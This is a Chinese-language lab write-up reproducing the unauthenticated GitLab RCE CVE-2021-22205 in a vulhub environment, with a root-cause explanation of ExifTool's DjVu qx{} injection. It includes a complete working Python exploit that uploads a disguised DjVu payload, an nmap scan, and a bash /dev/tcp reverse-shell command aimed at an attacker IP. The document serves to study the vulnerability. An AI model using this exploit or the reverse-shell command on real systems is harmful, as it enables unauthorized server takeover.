本文详细介绍了 GitLab 远程代码执行漏洞(CVE-2021-22205) 的原理分析与实战复现。该漏洞源于 GitLab 对用户上传图片文件的处理逻辑缺陷,由于其内部集成的 ExifTool 在解析图像元数据(Metadata)时未能正确过滤恶意构造的脚本命令,导致攻击者无需通过身份验证(Unauthenticated),即可在目标服务器上执行任意代码。该漏洞因其“无需登录”且“权限极高”的特性,被评估为 CVSS 满分 10.0 的严重风险。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2021-22205 | 10.0 | 11.9 <= GitLab < 13.8.、13.9 <= GitLab < 13.9.6、 13.10 <= GitLab < 13.10.3 | 远程代码执行 (RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/gitlab/CVE-2021-22205
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
a21a935a51c3 vulhub/gitlab:13.10.1 "/sbin/entrypoint.sh…" 32 minutes ago Up 26 minutes 443/tcp, 0.0.0.0:10022->22/tcp, [::]:10022->22/tcp, 0.0.0.0:8080->80/tcp, [::]:8080->80/tcp cve-2021-22205-gitlab-1
31fc75d9a1a5 postgres:12-alpine "docker-entrypoint.s…" 32 minutes ago Up 26 minutes 5432/tcp cve-2021-22205-postgresql-1
ecceaea63f01 redis:5.0.9-alpine "docker-entrypoint.s…" 32 minutes ago Up 26 minutes 6379/tcp cve-2021-22205-redis-1
启动后需等待 2-5 分钟,GitLab 的启动过程消耗大量资源,直到访问 http://192.168.31.148:8080 出现登录界面为止。也可以将虚拟机的配置适当调高,配置过低可能会导致卡死。

目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http nginx
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_/*/new /*/edit /*/raw
10022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 69:99:c3:1d:69:24:fd:60:c1:8f:34:cf:58:41:2b:15 (RSA)
| 256 76:ba:0d:e2:85:6e:33:9d:5f:f2:f1:0e:8a:9a:98:03 (ECDSA)
|_ 256 5a:b1:7a:e5:85:eb:38:d0:c2:55:bd:4f:a0:c2:0e:7e (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从扫描结果可知目标 IP 运行着 Web 服务。根据 robots.txt 中的目录(如 /autocomplete/users, /-/ide/),可以明确判定该服务为 GitLab。还有修改了默认端口(22 -> 10022)的 SSH 服务。
攻击过程
执行攻击命令
Vulhub 自带一个 POC 脚本:
import sys
import re
import requests
target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')
def get_payload(command):
rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
rce_payload += command.encode()
rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
return rce_payload
def csrf_token():
response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
g = CSRF_PATTERN.search(response.content)
assert g, 'No CSRF Token found'
return g.group(1).decode()
def exploit():
files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})
if __name__ == '__main__':
exploit()
print('finish test')
代码详解参见附录。
攻击机启动 nc 监听,接收反弹 Shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
运行 POC 脚本,传入反弹 Shell 命令:
┌──(kali㉿kali)-[~]
└─$ python poc.py http://target-IP:8080 "bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1'"
反弹成功:

漏洞核心原理
CVE-2021-22205 漏洞的核心在于 GitLab 调用的第三方组件 ExifTool 在解析图片元数据时存在严重的安全缺陷。ExifTool 是一个基于 Perl 语言开发的工具,专门用于读取和处理各种文件的元数据信息。当攻击者向 GitLab 上传一个精心构造的 DjVu 格式文件时,尽管文件后缀可能被伪装成常见的 JPG 或 PNG,ExifTool 依然会通过识别文件内部的特征头来将其作为 DjVu 文件进行深度解析。
在该漏洞的触发过程中,问题的根源出现在 DjVu 文档的注释块(ANTa 块)解析逻辑上。ExifTool 在读取这些注释信息时,未能对其中的特殊字符进行严格的转义过滤。攻击者利用这一特性,通过在注释中注入反斜杠和引号等符号,成功破坏了原有 Perl 字符串的闭合结构。这导致原本应该被视为普通文本的元数据内容,被 Perl 解释器误认为是一段合法的程序代码。
具体的注入手段是利用了 Perl 语言中的 qx{} 运算符,该运算符在 Perl 中专门用于执行系统层面的命令。攻击者通过构造如 qx{id} 之类的指令,并利用闭合技巧将其嵌入图片,使得 ExifTool 在扫描到这一行数据时,会直接在后台服务器上以当前运行进程的权限(通常是 git 用户)执行该指令。由于 ExifTool 的这种解析行为是其核心功能的一部分,这种注入方式极具隐蔽性。
更严重的是,GitLab 的 Web 架构在处理文件上传时存在逻辑顺序上的疏忽。在受影响的版本中,服务器的 Workhorse 组件在进行用户身份验证和权限检查之前,为了验证文件合法性,就已经提前调用了 ExifTool 对上传的文件进行预处理。这种“先解析、后鉴权”的逻辑缺陷,使得任何匿名攻击者只要能从登录页面获取一个基础的 CSRF 令牌,就可以直接触发远程代码执行,这大大降低了漏洞的利用门槛,也让该漏洞成为了一个极具威胁的未授权 RCE 风险。
附录
POC 解析
get_payload(command)
def get_payload(command):
# 1. 写入 DjVu 文件标识头 (Magic Number)
# \x41\x54\x26\x54... 对应字符串 "AT&TFORM"
rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
# 2. 计算并写入长度。to_bytes 将数字转为机器能读的 4 字节二进制
rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
# 3. 写入 DjVu 的特定结构数据 (DJVUINFO 块等)
rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f...'
# 4. 关键注入点:利用 qx{} 语法
# \x71\x78\x7b 对应 Perl 中的 "qx{"。在 Perl 里,qx{cmd} 会直接运行系统命令。
rce_payload += b'...(省略部分)... \x71\x78\x7b'
rce_payload += command.encode() # 插入命令
rce_payload += b'\x7d \x20 \x2e ...' # \x7d 对应 "}",闭合命令
return rce_payload
构造一个伪装成 JPEG 图片的恶意字节流(因为目标网站只允许上传图片,所以要 “欺骗” 服务器),字节流中嵌入了要执行的系统命令。ExifTool 看到文件头是 AT&TFORM,就会启动“DjVu 解析器”,漏洞在于 ExifTool 的 DjVu 解析模块没有过滤元数据里的特殊字符。脚本插入了 qx{命令},当 ExifTool 读到这里时,会以为这是它应该执行的 Perl 内部函数,从而导致了命令执行。
csrf_token()
def csrf_token():
# 访问登录页面
response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
# 使用正则表达式 re.compile 寻找 HTML 里的 csrf-token 标签
g = CSRF_PATTERN.search(response.content)
# 如果没找到,脚本会报错中断 (assert)
assert g, 'No CSRF Token found'
return g.group(1).decode()
GitLab 所有的 POST 请求(上传、提交表单)都强制要求携带 CSRF Token。脚本通过模拟正常访问来“偷取”这个 Token。
exploit()
def exploit():
# 伪装文件名叫 test.jpg,类型叫 image/jpeg
files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
# 发送 POST 请求到受影响的未授权接口 /uploads/user
session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})
虽然内容是恶意 DjVu 数据,但文件名后缀写成 .jpg,这能绕过绝大多数简单的格式过滤器。/uploads/user 是这个漏洞的核心。在这个接口,GitLab 忘记检查用户是否已登录,直接把图片交给了后端的 ExifTool 处理。